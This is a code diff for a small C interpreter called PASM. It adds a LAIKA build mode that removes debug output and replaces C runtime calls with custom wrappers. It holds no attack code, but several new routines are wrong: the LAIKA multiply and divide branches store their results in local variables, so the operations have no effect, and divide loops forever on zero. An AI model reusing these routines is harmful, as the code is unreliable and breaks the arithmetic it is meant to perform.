printf("format:\tlabel|line\n");
|
||||||
for (int i = 0; i < state->num_labels; i++)
|
for (int i = 0; i < state->num_labels; i++)
|
||||||
printf("%s|%d\n", state->labels[i], state->labels_values[i]);
|
printf("%s|%d\n", state->labels[i], state->labels_values[i]);
|
||||||
printf("\n\n-----LABELS-----\n");
|
printf("\n\n-----LABELS-----\n");
|
||||||
|
#endif
|
||||||
}
|
}
|
||||||
|
|
||||||
void show_arrays() {
|
void show_arrays() {
|
||||||
|
#ifndef LAIKA
|
||||||
printf("\n\n-----ARRAYS-----\n");
|
printf("\n\n-----ARRAYS-----\n");
|
||||||
for (int i = 0; i < state->num_arrays; i++) {
|
for (int i = 0; i < state->num_arrays; i++) {
|
||||||
printf("%s: ", state->ARRAYS_NAME[i]);
|
printf("%s: ", state->ARRAYS_NAME[i]);
|
||||||
@@ -43,42 +51,52 @@ void show_arrays() {
|
|||||||
printf("...\n");
|
printf("...\n");
|
||||||
}
|
}
|
||||||
printf("\n\n-----ARRAYS-----\n");
|
printf("\n\n-----ARRAYS-----\n");
|
||||||
|
#endif
|
||||||
}
|
}
|
||||||
|
|
||||||
void show_breakpoints(int *bp) {
|
void show_breakpoints(int *bp) {
|
||||||
|
#ifndef LAIKA
|
||||||
printf("---Breakpoints---\n");
|
printf("---Breakpoints---\n");
|
||||||
for (int i = 0; bp[i] != 0 && i < 255; i++) {
|
for (int i = 0; bp[i] != 0 && i < 255; i++) {
|
||||||
if (bp[i] + 1 == -1) continue; //deleted bp
|
if (bp[i] + 1 == -1) continue; //deleted bp
|
||||||
printf("bp line %d\n", bp[i] + 1);
|
printf("bp line %d\n", bp[i] + 1);
|
||||||
}
|
}
|
||||||
printf("---Breakpoints---\n");
|
printf("---Breakpoints---\n");
|
||||||
|
#endif
|
||||||
}
|
}
|
||||||
|
|
||||||
void show_states() {
|
void show_states() {
|
||||||
|
#ifndef LAIKA
|
||||||
printf("\n\n--------PASM STATE--------\n");
|
printf("\n\n--------PASM STATE--------\n");
|
||||||
show_registers();
|
show_registers();
|
||||||
show_labels();
|
show_labels();
|
||||||
show_stack();
|
show_stack();
|
||||||
show_arrays();
|
show_arrays();
|
||||||
printf("\n\n--------PASM STATE--------\n");
|
printf("\n\n--------PASM STATE--------\n");
|
||||||
|
#endif
|
||||||
}
|
}
|
||||||
|
|
||||||
void bp_add(int *bp, int line) {
|
void bp_add(int *bp, int line) {
|
||||||
|
#ifndef LAIKA
|
||||||
int i = 0;
|
int i = 0;
|
||||||
for (i = 0; bp[i] != 0 && bp[i] != -1 && i < 255; i++);
|
for (i = 0; bp[i] != 0 && bp[i] != -1 && i < 255; i++);
|
||||||
bp[i] = line;
|
bp[i] = line;
|
||||||
|
#endif
|
||||||
}
|
}
|
||||||
|
|
||||||
void bp_rem(int *bp, int line) {
|
void bp_rem(int *bp, int line) {
|
||||||
|
#ifndef LAIKA
|
||||||
int i = 0;
|
int i = 0;
|
||||||
for (i = 0; bp[i] != 0 && i < 255; i++) {
|
for (i = 0; bp[i] != 0 && i < 255; i++) {
|
||||||
if (bp[i] == line)
|
if (bp[i] == line)
|
||||||
bp[i] = -2;
|
bp[i] = -2;
|
||||||
}
|
}
|
||||||
return;
|
return;
|
||||||
|
#endif
|
||||||
}
|
}
|
||||||
|
|
||||||
int add_breakpoint(char *in, int *bp) {
|
int add_breakpoint(char *in, int *bp) {
|
||||||
|
#ifndef LAIKA
|
||||||
for (int i = 0; i < state->num_labels; i++) {
|
for (int i = 0; i < state->num_labels; i++) {
|
||||||
if (strncmp(state->labels[i], in, strlen(in) - 1) == 0) {
|
if (strncmp(state->labels[i], in, strlen(in) - 1) == 0) {
|
||||||
bp_add(bp, state->labels_values[i] + 1);
|
bp_add(bp, state->labels_values[i] + 1);
|
||||||
@@ -92,9 +110,11 @@ int add_breakpoint(char *in, int *bp) {
|
|||||||
bp_add(bp, line - 1);
|
bp_add(bp, line - 1);
|
||||||
printf("breakpoint added at line %d.\n", line);
|
printf("breakpoint added at line %d.\n", line);
|
||||||
return 0;
|
return 0;
|
||||||
|
#endif
|
||||||
}
|
}
|
||||||
|
|
||||||
int rem_breakpoint(char *in, int *bp) {
|
int rem_breakpoint(char *in, int *bp) {
|
||||||
|
#ifndef LAIKA
|
||||||
for (int i = 0; i < state->num_labels; i++) {
|
for (int i = 0; i < state->num_labels; i++) {
|
||||||
if (strncmp(state->labels[i], in, strlen(in) - 1) == 0) {
|
if (strncmp(state->labels[i], in, strlen(in) - 1) == 0) {
|
||||||
bp_rem(bp, state->labels_values[i] + 1);
|
bp_rem(bp, state->labels_values[i] + 1);
|
||||||
@@ -108,9 +128,11 @@ int rem_breakpoint(char *in, int *bp) {
|
|||||||
bp_rem(bp, line - 1);
|
bp_rem(bp, line - 1);
|
||||||
printf("breakpoint at line %d deleted.\n", line);
|
printf("breakpoint at line %d deleted.\n", line);
|
||||||
return 0;
|
return 0;
|
||||||
|
#endif
|
||||||
}
|
}
|
||||||
|
|
||||||
void debug_input(char *line) {
|
void debug_input(char *line) {
|
||||||
|
#ifndef LAIKA
|
||||||
static int should_continue = 0;
|
static int should_continue = 0;
|
||||||
static int breakpoints[256] = {0};
|
static int breakpoints[256] = {0};
|
||||||
|
|
||||||
@@ -179,4 +201,5 @@ void debug_input(char *line) {
|
|||||||
printf("d [line/label]: deletes a breakpoint on line line/label]\n");
|
printf("d [line/label]: deletes a breakpoint on line line/label]\n");
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
#endif
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,3 +1,5 @@
|
|||||||
#pragma once
|
#pragma once
|
||||||
|
|
||||||
|
#include "libc.h"
|
||||||
|
|
||||||
void debug_input(char *line);
|
void debug_input(char *line);
|
||||||
|
|||||||
@@ -3,6 +3,7 @@
|
|||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
|
|
||||||
#include "interpreter_states.h"
|
#include "interpreter_states.h"
|
||||||
|
#include "libc.h"
|
||||||
|
|
||||||
#define MAX_LINE 2048
|
#define MAX_LINE 2048
|
||||||
|
|
||||||
@@ -12,6 +13,7 @@ extern int dprintf(int stream, const char *format, ...);
|
|||||||
|
|
||||||
size_t line_count = 0;
|
size_t line_count = 0;
|
||||||
int read_script(const char *filename, char ***buf, size_t *lines) {
|
int read_script(const char *filename, char ***buf, size_t *lines) {
|
||||||
|
#ifndef LAIKA
|
||||||
FILE *script = fopen(filename, "r");
|
FILE *script = fopen(filename, "r");
|
||||||
if (script == NULL) {
|
if (script == NULL) {
|
||||||
dprintf(fstream, "Could not open %s.\n", filename);
|
dprintf(fstream, "Could not open %s.\n", filename);
|
||||||
@@ -25,11 +27,11 @@ int read_script(const char *filename, char ***buf, size_t *lines) {
|
|||||||
line[length - 1] = '\0';
|
line[length - 1] = '\0';
|
||||||
}
|
}
|
||||||
#ifdef _WIN32
|
#ifdef _WIN32
|
||||||
char *line_copy = _strdup(line);
|
char *line_copy = strdup_(line);
|
||||||
#else
|
#else
|
||||||
char *line_copy = strdup(line);
|
char *line_copy = strdup(line);
|
||||||
#endif
|
#endif
|
||||||
char **temp = realloc(*buf, (line_count + 1) * sizeof(char*));
|
char **temp = realloc_(*buf, (line_count + 1) * sizeof(char*));
|
||||||
if (temp == NULL) {
|
if (temp == NULL) {
|
||||||
dprintf(fstream, "Error allocating memory.\n");
|
dprintf(fstream, "Error allocating memory.\n");
|
||||||
return 1;
|
return 1;
|
||||||
@@ -44,15 +46,16 @@ int read_script(const char *filename, char ***buf, size_t *lines) {
|
|||||||
|
|
||||||
*lines = line_count;
|
*lines = line_count;
|
||||||
fclose(script);
|
fclose(script);
|
||||||
|
#endif
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
void free_script(char **buf) {
|
void free__script(char **buf) {
|
||||||
if (!buf)
|
if (!buf)
|
||||||
return;
|
return;
|
||||||
for (size_t i = 0; i < line_count; ++i)
|
for (size_t i = 0; i < line_count; ++i)
|
||||||
if (buf[i])
|
if (buf[i])
|
||||||
free(buf[i]);
|
free_(buf[i]);
|
||||||
free(buf);
|
free_(buf);
|
||||||
free_state();
|
free__state();
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -2,4 +2,4 @@
|
|||||||
#include <stdlib.h>
|
#include <stdlib.h>
|
||||||
|
|
||||||
int read_script(const char *filename, char ***buf, size_t *lines);
|
int read_script(const char *filename, char ***buf, size_t *lines);
|
||||||
void free_script(char **buf);
|
void free__script(char **buf);
|
||||||
|
|||||||
@@ -1,13 +1,14 @@
|
|||||||
#include "instructions.h"
|
#include "instructions.h"
|
||||||
#include "interpreter_states.h"
|
#include "interpreter_states.h"
|
||||||
#include "api.h"
|
#include "api.h"
|
||||||
|
#include "libc.h"
|
||||||
#include <math.h>
|
#include <math.h>
|
||||||
#include <string.h>
|
#include <string.h>
|
||||||
#include <stdlib.h>
|
#include <stdlib.h>
|
||||||
|
|
||||||
bool is_array(char* arg) {
|
bool is_array(char* arg) {
|
||||||
for (int i = 0; i < state->num_arrays; i++)
|
for (int i = 0; i < state->num_arrays; i++)
|
||||||
if (strcmp(state->ARRAYS_NAME[i], arg) == 0)
|
if (strcmp__(state->ARRAYS_NAME[i], arg) == 0)
|
||||||
return true;
|
return true;
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
@@ -17,17 +18,17 @@ bool is_reg(char* arg) {
|
|||||||
++arg;
|
++arg;
|
||||||
if (is_array(arg))
|
if (is_array(arg))
|
||||||
return true;
|
return true;
|
||||||
return (strcmp(arg, "eax") == 0) || (((arg[0] == 'a' &&
|
return (strcmp__(arg, "eax") == 0) || (((arg[0] == 'a' &&
|
||||||
('1' <= arg[1] && arg[1] <= '9'))) && strlen(arg) == 2);
|
('1' <= arg[1] && arg[1] <= '9'))) && strlen(arg) == 2);
|
||||||
}
|
}
|
||||||
|
|
||||||
bool is_num(char* arg) {
|
bool is_num(char* arg) {
|
||||||
return (atoi(arg) != 0 || (arg[0] == '0' && strlen(arg) == 1));
|
return (strtol_(arg, NULL, 10) != 0 || (arg[0] == '0' && strlen(arg) == 1));
|
||||||
}
|
}
|
||||||
|
|
||||||
bool check_args(s_arguments *args, int num_in_first, int num_args) {
|
bool check_args(s_arguments *args, int num_in_first, int num_args) {
|
||||||
int arg_num = strcmp(args->arg2, "") != 0;
|
int arg_num = strcmp__(args->arg2, "") != 0;
|
||||||
arg_num += strcmp(args->arg1, "") != 0;
|
arg_num += strcmp__(args->arg1, "") != 0;
|
||||||
if (arg_num != num_args) {
|
if (arg_num != num_args) {
|
||||||
state->last_check_args_code = WRONG_NUMBER;
|
state->last_check_args_code = WRONG_NUMBER;
|
||||||
return false;
|
return false;
|
||||||
@@ -50,7 +51,7 @@ long long* get_reg(char* reg_char) {
|
|||||||
if (reg_char[0] == '&' || reg_char[0] == '*')
|
if (reg_char[0] == '&' || reg_char[0] == '*')
|
||||||
++reg_char;
|
++reg_char;
|
||||||
for (int i = 0; i < state->num_arrays; i++)
|
for (int i = 0; i < state->num_arrays; i++)
|
||||||
if (strcmp(state->ARRAYS_NAME[i], reg_char) == 0)
|
if (strcmp__(state->ARRAYS_NAME[i], reg_char) == 0)
|
||||||
return (long long *)&state->ARRAYS_VALUES[i];
|
return (long long *)&state->ARRAYS_VALUES[i];
|
||||||
switch (reg_char[1]) {
|
switch (reg_char[1]) {
|
||||||
case '1' :
|
case '1' :
|
||||||
@@ -91,9 +92,9 @@ long long get_value(char* arg) {
|
|||||||
}
|
}
|
||||||
else {
|
else {
|
||||||
if (strlen(arg) > 2 && arg[0] == '0' && arg[1] == 'x') {
|
if (strlen(arg) > 2 && arg[0] == '0' && arg[1] == 'x') {
|
||||||
ret = strtol(arg, NULL, 16);
|
ret = strtol_(arg, NULL, 16);
|
||||||
}
|
}
|
||||||
ret = atoi(arg);
|
ret = strtol_(arg, NULL, 10);
|
||||||
}
|
}
|
||||||
return ret;
|
return ret;
|
||||||
}
|
}
|
||||||
@@ -103,7 +104,7 @@ const command_t *find_command(const command_t *commands, char *func)
|
|||||||
if (func == NULL)
|
if (func == NULL)
|
||||||
return NULL;
|
return NULL;
|
||||||
for (int index = 0; commands[index].fptr != NULL; index += 1) {
|
for (int index = 0; commands[index].fptr != NULL; index += 1) {
|
||||||
if (strcmp(func, commands[index].command) == 0) {
|
if (strcmp__(func, commands[index].command) == 0) {
|
||||||
return &commands[index];
|
return &commands[index];
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -151,7 +152,7 @@ void ret() {
|
|||||||
void jmp() {
|
void jmp() {
|
||||||
if (state->RET_STACK_IDX != -1 && !check_ret_stack()) return;
|
if (state->RET_STACK_IDX != -1 && !check_ret_stack()) return;
|
||||||
|
|
||||||
if (strcmp(state->args->arg1, "return") == 0) {
|
if (strcmp__(state->args->arg1, "return") == 0) {
|
||||||
ret();
|
ret();
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
@@ -161,13 +162,13 @@ void jmp() {
|
|||||||
if (state->labels[i] == NULL) break;
|
if (state->labels[i] == NULL) break;
|
||||||
if (strlen(state->labels[i]) - 1 != strlen(state->args->arg1))
|
if (strlen(state->labels[i]) - 1 != strlen(state->args->arg1))
|
||||||
continue;
|
continue;
|
||||||
if (strncmp(state->args->arg1, state->labels[i], strlen(state->labels[i]) - 1) == 0) {
|
if (strncmp__(state->args->arg1, state->labels[i], strlen(state->labels[i]) - 1) == 0) {
|
||||||
state->RET_STACK[++state->RET_STACK_IDX] = state->curr_line;
|
state->RET_STACK[++state->RET_STACK_IDX] = state->curr_line;
|
||||||
state->curr_line = state->labels_values[i];
|
state->curr_line = state->labels_values[i];
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
int line_off = atoi(state->args->arg1);
|
int line_off = strtol_(state->args->arg1, NULL, 10);
|
||||||
if (line_off) {
|
if (line_off) {
|
||||||
state->curr_line += line_off;
|
state->curr_line += line_off;
|
||||||
return;
|
return;
|
||||||
@@ -222,7 +223,9 @@ void _sqrt() {
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#ifndef LAIKA //Realistically Laika won't ever need sqrt, + that creates linker errors with the CRT
|
||||||
*get_reg(state->args->arg1) = (long long)sqrt(get_value(state->args->arg1));
|
*get_reg(state->args->arg1) = (long long)sqrt(get_value(state->args->arg1));
|
||||||
|
#endif
|
||||||
}
|
}
|
||||||
|
|
||||||
void neg() {
|
void neg() {
|
||||||
@@ -238,7 +241,30 @@ void mul() {
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#ifdef LAIKA
|
||||||
|
//MSVC wants to link __allmul, but a mul is just a lot of add, isn't it ?
|
||||||
|
|
||||||
|
long long v1 = *get_reg(state->args->arg1);
|
||||||
|
long long v2 = get_value(state->args->arg2);
|
||||||
|
long long result = 0;
|
||||||
|
int isNegative = 0;
|
||||||
|
|
||||||
|
if (v1 < 0) {
|
||||||
|
v1 = -v1;
|
||||||
|
isNegative = !isNegative;
|
||||||
|
}
|
||||||
|
if (v2 < 0) {
|
||||||
|
v2 = -v2;
|
||||||
|
isNegative = !isNegative;
|
||||||
|
}
|
||||||
|
while (v2 > 0) {
|
||||||
|
result += v1;
|
||||||
|
v2--;
|
||||||
|
}
|
||||||
|
v1 = isNegative ? -result : result;
|
||||||
|
#else
|
||||||
*get_reg(state->args->arg1) *= get_value(state->args->arg2);
|
*get_reg(state->args->arg1) *= get_value(state->args->arg2);
|
||||||
|
#endif
|
||||||
}
|
}
|
||||||
|
|
||||||
void _div() {
|
void _div() {
|
||||||
@@ -246,7 +272,32 @@ void _div() {
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#ifdef LAIKA
|
||||||
|
//MSVC wants to link __alldiv, but a div is just a lot of sub, isn't it ?
|
||||||
|
|
||||||
|
long long dividend = *get_reg(state->args->arg1);
|
||||||
|
long long divisor = get_value(state->args->arg2);
|
||||||
|
|
||||||
|
long long quotient = 0;
|
||||||
|
long long sign = 1;
|
||||||
|
|
||||||
|
if (dividend < 0) {
|
||||||
|
dividend = -dividend;
|
||||||
|
sign = -sign;
|
||||||
|
}
|
||||||
|
if (divisor < 0) {
|
||||||
|
divisor = -divisor;
|
||||||
|
sign = -sign;
|
||||||
|
}
|
||||||
|
while (dividend >= divisor) {
|
||||||
|
dividend -= divisor;
|
||||||
|
quotient++;
|
||||||
|
}
|
||||||
|
|
||||||
|
dividend = sign * quotient;
|
||||||
|
#else
|
||||||
*get_reg(state->args->arg1) /= get_value(state->args->arg2);
|
*get_reg(state->args->arg1) /= get_value(state->args->arg2);
|
||||||
|
#endif
|
||||||
}
|
}
|
||||||
|
|
||||||
void mov() {
|
void mov() {
|
||||||
|
|||||||
@@ -1,4 +1,5 @@
|
|||||||
#include "interpreter_states.h"
|
#include "interpreter_states.h"
|
||||||
|
#include "libc.h"
|
||||||
#include <stdlib.h>
|
#include <stdlib.h>
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
#include <string.h>
|
#include <string.h>
|
||||||
@@ -9,42 +10,42 @@ extern int dprintf(int stream, const char *format, ...);
|
|||||||
|
|
||||||
s_state *state = NULL;
|
s_state *state = NULL;
|
||||||
int init_state() {
|
int init_state() {
|
||||||
state = malloc(sizeof(s_state));
|
state = malloc_(sizeof(s_state));
|
||||||
if (state == NULL)
|
if (state == NULL)
|
||||||
return 1;
|
return 1;
|
||||||
memset(state, 0, sizeof(s_state));
|
memset__(state, 0, sizeof(s_state));
|
||||||
state->registers = malloc(sizeof(s_registers));
|
state->registers = malloc_(sizeof(s_registers));
|
||||||
if (state->registers == NULL) {
|
if (state->registers == NULL) {
|
||||||
free(state);
|
free_(state);
|
||||||
return 1;
|
return 1;
|
||||||
}
|
}
|
||||||
memset(state->registers, 0, sizeof(s_registers));
|
memset__(state->registers, 0, sizeof(s_registers));
|
||||||
state->args = malloc(sizeof(s_arguments));
|
state->args = malloc_(sizeof(s_arguments));
|
||||||
if (state->args == NULL) {
|
if (state->args == NULL) {
|
||||||
free(state->registers);
|
free_(state->registers);
|
||||||
free(state);
|
free_(state);
|
||||||
return 1;
|
return 1;
|
||||||
}
|
}
|
||||||
state->args->arg1 = malloc(sizeof(char) * MAX_ARG_SIZE);
|
state->args->arg1 = malloc_(sizeof(char) * MAX_ARG_SIZE);
|
||||||
state->args->arg2 = malloc(sizeof(char) * MAX_ARG_SIZE);
|
state->args->arg2 = malloc_(sizeof(char) * MAX_ARG_SIZE);
|
||||||
if (state->args->arg1 == NULL || state->args->arg2 == NULL) {
|
if (state->args->arg1 == NULL || state->args->arg2 == NULL) {
|
||||||
free(state->registers);
|
free_(state->registers);
|
||||||
free(state);
|
free_(state);
|
||||||
return 1;
|
return 1;
|
||||||
}
|
}
|
||||||
memset(state->args->arg1, 0, sizeof(char) * MAX_ARG_SIZE);
|
memset__(state->args->arg1, 0, sizeof(char) * MAX_ARG_SIZE);
|
||||||
memset(state->args->arg2, 0, sizeof(char) * MAX_ARG_SIZE);
|
memset__(state->args->arg2, 0, sizeof(char) * MAX_ARG_SIZE);
|
||||||
state->labels_values = malloc(sizeof(int) * MAX_LABELS);
|
state->labels_values = malloc_(sizeof(int) * MAX_LABELS);
|
||||||
if (state->labels_values == NULL) {
|
if (state->labels_values == NULL) {
|
||||||
free(state->registers);
|
free_(state->registers);
|
||||||
free(state->args->arg1);
|
free_(state->args->arg1);
|
||||||
free(state->args->arg2);
|
free_(state->args->arg2);
|
||||||
free(state);
|
free_(state);
|
||||||
return 1;
|
return 1;
|
||||||
}
|
}
|
||||||
memset(state->labels_values, 0, sizeof(int) * MAX_LABELS);
|
memset__(state->labels_values, 0, sizeof(int) * MAX_LABELS);
|
||||||
memset(state->RET_STACK, -1, sizeof(int) * STACK_SIZE);
|
memset__(state->RET_STACK, -1, sizeof(int) * STACK_SIZE);
|
||||||
memset(state->STACK, 0, sizeof(long long) * STACK_SIZE);
|
memset__(state->STACK, 0, sizeof(long long) * STACK_SIZE);
|
||||||
state->num_arrays = 0;
|
state->num_arrays = 0;
|
||||||
state->RET_STACK_IDX = -1;
|
state->RET_STACK_IDX = -1;
|
||||||
state->STACK_IDX = -1;
|
state->STACK_IDX = -1;
|
||||||
@@ -54,28 +55,28 @@ int init_state() {
|
|||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
void free_state() {
|
void free__state() {
|
||||||
for (int i = 0; i < state->num_labels; i++) {
|
for (int i = 0; i < state->num_labels; i++) {
|
||||||
if (state->labels[i])
|
if (state->labels[i])
|
||||||
free(state->labels[i]);
|
free_(state->labels[i]);
|
||||||
}
|
}
|
||||||
free(state->labels);
|
free_(state->labels);
|
||||||
free(state->labels_values);
|
free_(state->labels_values);
|
||||||
|
|
||||||
for (int j = 0; j < state->num_arrays; j++) {
|
for (int j = 0; j < state->num_arrays; j++) {
|
||||||
if (state->ARRAYS_NAME[j])
|
if (state->ARRAYS_NAME[j])
|
||||||
free(state->ARRAYS_NAME[j]);
|
free_(state->ARRAYS_NAME[j]);
|
||||||
if (state->ARRAYS_VALUES[j])
|
if (state->ARRAYS_VALUES[j])
|
||||||
free(state->ARRAYS_VALUES[j]);
|
free_(state->ARRAYS_VALUES[j]);
|
||||||
}
|
}
|
||||||
free(state->ARRAYS_NAME);
|
free_(state->ARRAYS_NAME);
|
||||||
free(state->ARRAYS_VALUES);
|
free_(state->ARRAYS_VALUES);
|
||||||
free(state->registers);
|
free_(state->registers);
|
||||||
free(state->args->arg1);
|
free_(state->args->arg1);
|
||||||
free(state->args->arg2);
|
free_(state->args->arg2);
|
||||||
free(state->args);
|
free_(state->args);
|
||||||
|
|
||||||
free(state);
|
free_(state);
|
||||||
}
|
}
|
||||||
|
|
||||||
void set_exit_state(int exit_state) {
|
void set_exit_state(int exit_state) {
|
||||||
@@ -93,11 +94,11 @@ LABEL_ERR add_label(char *label, int line) {
|
|||||||
return LABEL_MAX;
|
return LABEL_MAX;
|
||||||
|
|
||||||
for (int i = 0; i < state->num_labels; i++)
|
for (int i = 0; i < state->num_labels; i++)
|
||||||
if (strcmp(label, state->labels[i]) == 0)
|
if (strcmp__(label, state->labels[i]) == 0)
|
||||||
return LABEL_ALREADY_EXISTS;
|
return LABEL_ALREADY_EXISTS;
|
||||||
|
|
||||||
#ifdef _WIN32
|
#ifdef _WIN32
|
||||||
char *line_copy = _strdup(label);
|
char *line_copy = strdup_(label);
|
||||||
#else
|
#else
|
||||||
char *line_copy = strdup(label);
|
char *line_copy = strdup(label);
|
||||||
#endif
|
#endif
|
||||||
@@ -105,7 +106,7 @@ LABEL_ERR add_label(char *label, int line) {
|
|||||||
dprintf(fstream, "Error allocating memory.\n");
|
dprintf(fstream, "Error allocating memory.\n");
|
||||||
return LABEL_ERROR;
|
return LABEL_ERROR;
|
||||||
}
|
}
|
||||||
char **temp = realloc(state->labels, (state->num_labels + 1) * sizeof(char*));
|
char **temp = realloc_(state->labels, (state->num_labels + 1) * sizeof(char*));
|
||||||
if (temp == NULL) {
|
if (temp == NULL) {
|
||||||
dprintf(fstream, "Error allocating memory.\n");
|
dprintf(fstream, "Error allocating memory.\n");
|
||||||
return LABEL_ERROR;
|
return LABEL_ERROR;
|
||||||
@@ -118,35 +119,35 @@ LABEL_ERR add_label(char *label, int line) {
|
|||||||
|
|
||||||
ARRAY_ERR add_array(char* line) {
|
ARRAY_ERR add_array(char* line) {
|
||||||
#ifdef _WIN32
|
#ifdef _WIN32
|
||||||
char *line_copy = _strdup(line);
|
char *line_copy = strdup_(line);
|
||||||
#else
|
#else
|
||||||
char *line_copy = strdup(line);
|
char *line_copy = strdup(line);
|
||||||
#endif
|
#endif
|
||||||
if (strncmp(line, "set", 3) != 0) {
|
if (strncmp__(line, "set", 3) != 0) {
|
||||||
free(line_copy);
|
free_(line_copy);
|
||||||
return ARRAY_NOT_AN_ARRAY;
|
return ARRAY_NOT_AN_ARRAY;
|
||||||
}
|
}
|
||||||
char *ptr = strtok(line_copy, " "); //set
|
char *ptr = strtok_(line_copy, " "); //set
|
||||||
ptr = strtok(NULL, " "); //array name
|
ptr = strtok_(NULL, " "); //array name
|
||||||
if (ptr == NULL || strlen(line) <= (4 + strlen(ptr))) {
|
if (ptr == NULL || strlen(line) <= (4 + strlen(ptr))) {
|
||||||
free(line_copy);
|
free_(line_copy);
|
||||||
return ARRAY_ERROR;
|
return ARRAY_ERROR;
|
||||||
}
|
}
|
||||||
|
|
||||||
char **temp = realloc(state->ARRAYS_NAME, (state->num_arrays + 1) * sizeof(char*));
|
char **temp = realloc_(state->ARRAYS_NAME, (state->num_arrays + 1) * sizeof(char*));
|
||||||
if (temp == NULL) {
|
if (temp == NULL) {
|
||||||
dprintf(fstream, "Error allocating memory.\n");
|
dprintf(fstream, "Error allocating memory.\n");
|
||||||
return ARRAY_ERROR;
|
return ARRAY_ERROR;
|
||||||
}
|
}
|
||||||
state->ARRAYS_NAME = temp;
|
state->ARRAYS_NAME = temp;
|
||||||
#ifdef _WIN32
|
#ifdef _WIN32
|
||||||
state->ARRAYS_NAME[state->num_arrays] = _strdup(ptr);
|
state->ARRAYS_NAME[state->num_arrays] = strdup_(ptr);
|
||||||
#else
|
#else
|
||||||
state->ARRAYS_NAME[state->num_arrays] = strdup(ptr);
|
state->ARRAYS_NAME[state->num_arrays] = strdup(ptr);
|
||||||
#endif
|
#endif
|
||||||
ptr += strlen(ptr) + 1; //getting the data in the array, data is data after all
|
ptr += strlen(ptr) + 1; //getting the data in the array, data is data after all
|
||||||
if (ptr == NULL || ptr[0] == ' ' || ptr[0] == '\0') {
|
if (ptr == NULL || ptr[0] == ' ' || ptr[0] == '\0') {
|
||||||
free(line_copy);
|
free_(line_copy);
|
||||||
return ARRAY_ERROR;
|
return ARRAY_ERROR;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -157,19 +158,19 @@ ARRAY_ERR add_array(char* line) {
|
|||||||
++ptr;
|
++ptr;
|
||||||
while (*ptr++ != '"') {
|
while (*ptr++ != '"') {
|
||||||
if (*ptr == '\0') {
|
if (*ptr == '\0') {
|
||||||
free(line_copy);
|
free_(line_copy);
|
||||||
return ARRAY_ERROR; //" is never closed
|
return ARRAY_ERROR; //" is never closed
|
||||||
}
|
}
|
||||||
++array_size;
|
++array_size;
|
||||||
}
|
}
|
||||||
long long *tmp = realloc(arr, array_size * sizeof(long long));
|
long long *tmp = realloc_(arr, array_size * sizeof(long long));
|
||||||
if (tmp == NULL || array_size == 0) {
|
if (tmp == NULL || array_size == 0) {
|
||||||
dprintf(fstream, "Error allocating memory.\n");
|
dprintf(fstream, "Error allocating memory.\n");
|
||||||
return ARRAY_ERROR;
|
return ARRAY_ERROR;
|
||||||
}
|
}
|
||||||
arr = tmp;
|
arr = tmp;
|
||||||
memset(arr, 0, array_size);
|
memset__(arr, 0, array_size);
|
||||||
long long **temp = realloc(state->ARRAYS_VALUES, (state->num_arrays + 1) * sizeof(long long*));
|
long long **temp = realloc_(state->ARRAYS_VALUES, (state->num_arrays + 1) * sizeof(long long*));
|
||||||
if (temp == NULL) {
|
if (temp == NULL) {
|
||||||
dprintf(fstream, "Error allocating memory.\n");
|
dprintf(fstream, "Error allocating memory.\n");
|
||||||
return ARRAY_ERROR;
|
return ARRAY_ERROR;
|
||||||
@@ -180,10 +181,10 @@ ARRAY_ERR add_array(char* line) {
|
|||||||
++ptr;
|
++ptr;
|
||||||
while (*ptr != '"') {
|
while (*ptr != '"') {
|
||||||
if (*ptr == '\0' || i >= array_size) {
|
if (*ptr == '\0' || i >= array_size) {
|
||||||
free(line_copy);
|
free_(line_copy);
|
||||||
return ARRAY_ERROR; //" is never closed
|
return ARRAY_ERROR; //" is never closed
|
||||||
}
|
}
|
||||||
if (strncmp(ptr, "\\0", 2) == 0) {
|
if (strncmp__(ptr, "\\0", 2) == 0) {
|
||||||
arr[i++] = 0;
|
arr[i++] = 0;
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
@@ -192,58 +193,58 @@ ARRAY_ERR add_array(char* line) {
|
|||||||
state->ARRAYS_VALUES[state->num_arrays++] = arr;
|
state->ARRAYS_VALUES[state->num_arrays++] = arr;
|
||||||
return ARRAY_OK;
|
return ARRAY_OK;
|
||||||
}
|
}
|
||||||
ptr = strtok(ptr, ",");
|
ptr = strtok_(ptr, ",");
|
||||||
while (ptr != NULL) {
|
while (ptr != NULL) {
|
||||||
array_size++;
|
array_size++;
|
||||||
ptr = strtok(NULL, ",");
|
ptr = strtok_(NULL, ",");
|
||||||
}
|
}
|
||||||
long long *tmp2 = realloc(arr, array_size * sizeof(long long));
|
long long *tmp2 = realloc_(arr, array_size * sizeof(long long));
|
||||||
if (tmp2 == NULL || array_size == 0) {
|
if (tmp2 == NULL || array_size == 0) {
|
||||||
dprintf(fstream, "Error allocating memory.\n");
|
dprintf(fstream, "Error allocating memory.\n");
|
||||||
return ARRAY_ERROR;
|
return ARRAY_ERROR;
|
||||||
}
|
}
|
||||||
arr = tmp2;
|
arr = tmp2;
|
||||||
memset(arr, 0, array_size);
|
memset__(arr, 0, array_size);
|
||||||
long long **temp2 = realloc(state->ARRAYS_VALUES, (state->num_arrays + 1) * sizeof(long long*));
|
long long **temp2 = realloc_(state->ARRAYS_VALUES, (state->num_arrays + 1) * sizeof(long long*));
|
||||||
if (temp2 == NULL) {
|
if (temp2 == NULL) {
|
||||||
dprintf(fstream, "Error allocating memory.\n");
|
dprintf(fstream, "Error allocating memory.\n");
|
||||||
return ARRAY_ERROR;
|
return ARRAY_ERROR;
|
||||||
}
|
}
|
||||||
state->ARRAYS_VALUES = temp2;
|
state->ARRAYS_VALUES = temp2;
|
||||||
